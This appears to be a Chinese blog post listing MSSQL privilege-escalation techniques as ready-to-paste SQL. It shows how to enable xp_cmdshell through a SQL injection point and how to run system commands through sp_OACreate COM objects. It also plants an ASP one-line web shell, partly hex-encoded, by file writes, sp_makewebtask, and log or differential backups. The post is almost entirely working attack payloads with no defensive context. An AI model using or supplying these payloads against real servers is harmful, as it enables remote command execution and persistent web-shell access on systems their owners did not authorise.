mssql提权
前言:记录下MSSQL的提权的几种方法,分别是通过xp_cmshell组件、sp_OACreate组件调用COM接口
xp_cmshell组件
开启xp_cmdshell
sql2005版本以后默认为关闭状态,需要开启命令执行
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
注入点不支持多执行的话,需要一句一句的运行
;exec sp_configure 'show advanced options',1;
;RECONFIGURE;exec sp_configure'xp_cmdshell',1;
;RECONFIGURE;
命令执行,如下图所示
exec master..xp_cmdshell 'whoami';
sp_OACreate组件
sp_OACreate组件开启
这里需要注意的是,执行命令不回显
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
wscript.shell COM接口命令执行
单语句执行
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\who.txt'
多语句执行
declare @o int;
exec sp_oacreate 'Shell.Application', @o out;
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
72C24DD5-D70A-438B-8A42-98424B88AFB8 COM接口命令执行
这里的cmd程序可自行上传,或者也可以直接使用默认的cmd路径
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\Inetpub\\wwwroot\\lu4n.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
scripting.filesystemobject COM接口文件写入
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
sp_makewebtask 存储过程文件写入
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;--
或者:
exec sp_makewebtask 'c:\inetpub\cbd666.asp,'%20select%20''<%25execute(request("a"))%25>'' ';-- -
备份
日志备份
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\2.asp'
差异备份
backup database 库名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

浙公网安备 33010602011771号